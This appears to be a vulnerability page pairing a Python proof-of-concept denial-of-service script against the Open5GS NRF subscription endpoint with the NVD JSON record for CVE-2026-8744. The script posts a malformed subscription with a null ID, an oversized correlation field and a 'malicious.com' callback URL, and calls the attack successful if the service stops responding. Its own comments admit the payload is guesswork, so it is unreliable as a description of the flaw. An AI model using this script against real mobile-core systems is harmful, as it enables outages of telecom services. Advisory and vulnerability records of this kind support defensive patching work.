CVE-2026-8744

import requests import json # Target Open5GS NRF SBI Interface # Default NRF port is usually 7777 target_url = "http://<target-ip>:7777/nnrf-nfm/v1/subscription" # Malformed payload designed to trigger ogs_sbi_subscription_data_add vulnerability # The actual payload structure depends on the specific implementation flaw, # but typically involves missing required fields or oversized data. payload = { "nfInstanceId": "exploit-test", "nfType": "AMF", "subscriptionId": None, # Potential null pointer trigger "reqValidityPeriod": "999999999", "reqNotifications": [ { "notificationURI": "http://malicious.com/callback", "notifyCorrelationId": "A" * 10000 # Potential buffer overflow trigger } ] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit payload to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) print(f"Response Status Code: {response.status_code}") print("If the service becomes unresponsive, the DoS is successful.") except requests.exceptions.RequestException as e: print(f"Request failed (possible DoS occurred): {e}")

{"cve": {"id": "CVE-2026-8744", "sourceIdentifier": "[email protected]", "published": "2026-05-17T10:16:36.730", "lastModified": "2026-05-17T10:16:36.730", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Open5GS up to 2.7.7. Affected is the function ogs_sbi_subscription_data_add/ogs_sbi_nf_service_add in the library /lib/sbi/context.c of the component NRF. Executing a manipulation can lead to denial of service. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This patch is called 819db11a08b9736a3576c4f99ceb28f7eb99523a. A patch should be applied to remediate this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/commit/819db11a08b9736a3576c4f99ceb28f7eb99523a", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/issues/4465", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/issues/4466", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/pull/4534", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/817029", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/817030", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364331", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364331/cti", "source": "[email protected]"}]}}